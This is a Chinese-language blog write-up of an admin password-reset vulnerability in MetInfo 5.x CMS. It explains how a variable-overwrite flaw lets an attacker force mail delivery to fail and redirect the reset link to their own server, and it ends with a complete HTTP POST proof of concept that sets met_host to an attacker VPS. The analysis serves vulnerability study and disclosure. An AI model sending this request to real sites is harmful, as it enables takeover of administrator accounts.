• Metinfo 5.x 管理员密码重置漏洞


    前言

    在先知看到了一篇分析该漏洞的文章,复现分析一下,漏洞还是比较有趣的。

    正文

    首先知道是 管理员密码重置时出现的问题,于是抓包,定位到相关的php文件。

    首先包含了 ../include/common.inc.php , 在这个文件中可以搞清楚对我们提交参数的处理。

    把提交的参数注册为变量, 这样的代码非常容易形成变量覆盖漏洞。

    getpassword.php 中 首先注册提交的参数为变量,然后生成重置密码的连接,最后发送出去。问题就出在发送链接的流程中。

    发送时首先通过 jmailsend 发送,如果发送失败,则使用 curl_post 重发一遍。

    curl_post中会向 met_host:80 发送 POST 数据, 而我们可以利用 变量覆盖 设置  met_host 为我们自己的 vps, 然后我们就可以接收到密码重置连接了。

    下面就是要让程序能进入该流程。

    jmailsendmet_fd_port 为邮件服务器的 端口,我们使用 变量覆盖 设置 met_fd_port 为一个随机端口,就会导致 $mail->Send() 发送失败 返回 false, 然后就可以进入 curl_post

    最后的 poc:

    POST /admin/admin/getpassword.php HTTP/1.1
    Host: hack.metinfo.net
    Content-Length: 115
    Cache-Control: max-age=0
    Origin: http://hack.metinfo.net
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://hack.metinfo.net/admin/admin/getpassword.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: XDEBUG_SESSION=10334; re_url=http%3A%2F%2Fhack.metinfo.net%2Fadmin%2F
    Connection: close
    
    action=next2&abt_type=2&admin_mobile=admin&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5&met_fd_port=8569&met_host=your_vps_ip
    

    vps80端口就可以接收到

    总结

    拿到一套程序首先看看对提交数据的处理,如果有 变量覆盖 漏洞,就去可能出现漏洞的功能代码里面看看能不能利用 变量覆盖 漏洞,一些不好静态看的东西,可以自己测试一下。

    参考

    https://xianzhi.aliyun.com/forum/topic/2097#toc-0

  • 相关阅读:
    类的组合
    类的继承和派生
    面向对象编程
    正则表达式
    sys模块 logging模块 序列化模块
    time 模块,random模块,os模块
    递归函数
    interface有没有继承Object
    UTF-8和GBK的区别
    九皇后
  • 原文地址:https://www.cnblogs.com/hac425/p/9416868.html
Copyright © 2020-2023  润新知